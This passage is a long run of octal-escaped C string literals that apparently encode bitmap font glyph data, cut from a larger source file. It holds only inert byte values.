\"\\203\\206LHH,&#\\20\\20\\20\\10\\10\\10\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0<f\\303\\201\"\n  \"\\201\\303f<\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\236\\363\\301\\200\\0\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\34w\\301\\200\\200\\203\\316xp\"\n  \"\\336\\203\\201\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\370\\370\\370\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300p\\30\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\360\\377\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\177\\340\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\14\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\30p\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\3\\377\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\177\\7\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\14\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\200\\0\\0\\0\\0\\370\\0\\0\\0\\0\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\1\\201\\341\\63\\36\\7\\36\\63\\341\\201\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0@@\"\n  \"@@@@@\\377@@@@@@@\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\177\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\370xx\\30\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\17\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0@@\"\n  \"@@@@@@@@@@@@@\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0`\\360\\360\\360`\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300x\\14\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\200\\340<\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300p\\34\\7\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\6\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300`\\60\\20\\20\\20\\60`\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\376\\1\\0\\0\\0\\0\\0\\0\\0\\1\\376\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7<`\\300\\200\\200\\200\\300\"\n  \"`<\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0@@` \\60\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\377\\200\\200\"\n  \"\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\300` \\20\\20\\20\\20\\20\\60 \\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\1\\0\\0\\0\\0\\200\\300`\\60\\34\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\260\\230\\214\\206\\203\\201\\200\\200\"\n  \"\\200\\200\\200\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0@` \\60\\20\\20\\20\\60 `\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0    PH\\207\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0 `@\\300\\200\\200\\200\\200\\300\"\n  \"@`\\60\\37\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200`\\20\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\300`\\30\\14\\3\\1\\0\\0\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\2\\2\\2\\2\\2\\202\\202\\202\"\n  \"\\377\\202\\202\\202\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\360\\20\\20\\20\\20\\20\\20\\20\\20\\20\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\77\\20\\20\\30\\10\\10\\30\\20\\60\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\20\\60`@\\300\\200\\200\\200\\300\"\n  \"@`\\70\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300` \\60\\20\\20\\20\\20 \\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\374\\307\\61\\20\\30\\10\\10\\10\\30\\20p\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\37p@\\300\\200\\200\\200\"\n  \"\\300@p\\37\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0p\\20\\20\\20\\20\\20\\20\\20\\20\\220\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\340<\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\360\\37\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340 \\20\\20\\20\\20\\20 \\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\7\\314Pp   pP\\314\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\37q@\\300\\200\\200\\200\\300\"\n  \"@q\\37\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340 \\60\\20\\20\\20\\20 `\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\37p@\\300\\200\\200\\300@`\\60\\17\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\300@@ \"\n  \"\\60\\30\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\30<<<\\30\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0`\\360\\360\\360`\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\30<<<\\30\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\370\\370\\70\\30\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\17\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0@\\340\"\n  \"\\240\\260\\20\\30\\14\\4\\6\\2\\3\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\6\\4\\14\\10\"\n  \"\\30\\20\\60 `\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\20\\20\"\n  \"\\20\\20\\20\\20\\20\\20\\20\\20\\20\\20\\20\\20\\20\\0\\0\\0\\0\\0\\0\\0\\0\\0\\2\\2\\2\\2\\2\\2\\2\\2\\2\\2\"\n  \"\\2\\2\\2\\2\\2\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\1\\1\\3\\2\\6\\4\\14\\30\\20\\260\\240\\340@\\0\\0\\0\\0\\0\\0\\0\\0\\0` \\60\\20\\30\\10\\14\\4\\6\\3\"\n  \"\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\300@`    `@\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\1\\0\\0\\0\\0\\300@` ;\\16\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0@\\340\\343\\340@\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\300`\\60\\30\\10\\10\\10\\30p\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\"\n  \"\\1\\0\\0\\0\\360\\30\\10\\14\\4\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\37p\\300\\200\\0\\1\\3\\6\\4\"\n  \"\\4\\7\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\2\\2\\2\\3\\1\\1\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0     \\340 \\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\300\\70\\7\\0\\0\\0\\7\\70\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\360\\216\\203\\202\\2\\2\\2\\2\\2\"\n  \"\\202\\203\\216\\360\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0   \\340        @\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\377@@@@@@@@`\\271\\217\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\377\\200\\200\\200\\200\\200\\200\\200\"\n  \"\\200\\200@s\\36\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\200@@`   `@@\\200\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\374\\7\"\n  \"\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\34\\60@@\\300\\200\\200\\200\\300\"\n  \"@` \\60\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0  \\340      `@\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\377\\200\\200\\200\\200\\200\\200\\300@\"\n  \"`\\60\\34\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0   \\340         \\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\377     \\374\\0\\0\\0\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\377\\200\\200\\200\\200\\200\\201\\200\"\n  \"\\200\\200\\200\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0   \\340          \\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\377     \\374\\0\\0\\0\\0\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\377\\200\\200\\200\\200\\200\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300@`   `@@\\200\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\374\\7\"\n  \"\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\34\\60`@\\300\\200\\200\\201\\201\"\n  \"\\201\\301A\\177\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0  \\340   \\0\\0\\0   \\340  \\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\377@@@@@@@@@\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\377\\200\\200\\200\\0\\0\\0\\200\"\n  \"\\200\\200\\377\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0     \\340     \\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\377\\200\\200\"\n  \"\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0      \\340    \\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\37p@\\200\\200\\200\\200\\300@\"\n  \"p\\37\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0   \\340   \\0\\0\\0\\0 \\240\\340   \\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\377@@  pX\\204\\6\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\377\\200\\200\\200\\0\\0\\0\\1\"\n  \"\\7<\\340\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0    \\340    \\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\377\\200\\200\\200\\200\\200\"\n  \"\\200\\200\\200\\200\\376\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0  \\340 \\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340 \\340  \\0\\0\\0\\0\\0\\0\\0\\377\\0\"\n  \"\\0\\3\\14p\\200\\0\\200p\\14\\3\\0\\0\\377\\0\\0\\0\\0\\0\\0\\0\\200\\200\\377\\200\\200\\200\\200\\0\\1\\6\\1\\0\"\n  \"\\0\\200\\200\\200\\377\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0   \\340`\\300\\0\\0\\0\\0\\0    \\340  \\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\"\n  \"\\0\\0\\3\\4\\30`\\200\\0\\0\\0\\0\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\377\\200\\200\\200\\200\\0\\0\\1\\6\"\n  \"\\30`\\300\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300@     @\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\374\\7\"\n  \"\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\34\\60`@\\200\\200\\200\\200\\200\"\n  \"@`\\60\\34\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0   \\340      `@@\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\377\\200\\200\\200\\200\\200\\200\\300@@\\61\\37\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\377\\200\\200\\200\\200\\200\\200\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300@`   `@\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\374\\7\"\n  \"\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\34\\60 `\\300\\200\\200\\200\\300\"\n  \"` \\60\\34\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\4\\6\\2\\3\\2\\2\\6\\4\\4\\4\\6\\2\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0   \\340      `@@\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\377@@@@@\\300\\300  \\31\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\377\\200\\200\\200\\0\\0\\0\\1\"\n  \"\\3\\6\\34p\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300@`   `@\\200\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\37\\60 `@@\\300\\200\\200\\1\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\374\\60`@\\300\\200\\200\\200\\300\"\n  \"Ac>\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\340      \\340      \\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\17\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\0\\0\\0\\0\\0\\0\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\377\\200\\200\"\n  \"\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0  \\340    \\0\\0\\0    \\340  \\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\17\\70`@\\300\\200\\200\\200\\300\"\n  \"@`\\70\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0  `\\340   \\0\\0\\0\\0\\0   \\340`  \\0\\0\\0\\0\\0\\0\\0\\0\\3\"\n  \"\\36\\360\\200\\0\\0\\0\\0\\0\\200\\360\\36\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\16p\\300p\\16\"\n  \"\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0 \\340    \\0\\0\\0\\0\\0    \\340 \\0\\0\\0\\0\\0\\0\\0\\0\\7\\374\"\n  \"\\0\\0\\0\\340\\34\\4\\34\\340\\0\\0\\0\\374\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\17\\370\\300>\\3\\0\\0\\0\\3\"\n  \">\\300\\370\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0 `\\340  \\0\\0\\0\\0\\0  \\340` \\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\1\\3\\4\\30\\260\\340\\260\\30\\4\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\260\\214\\206\\1\\0\\0\\0\\1\"\n  \"\\206\\214\\260\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0 `\\340\\240 \\0\\0\\0\\0\\0 \\240\\340` \\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  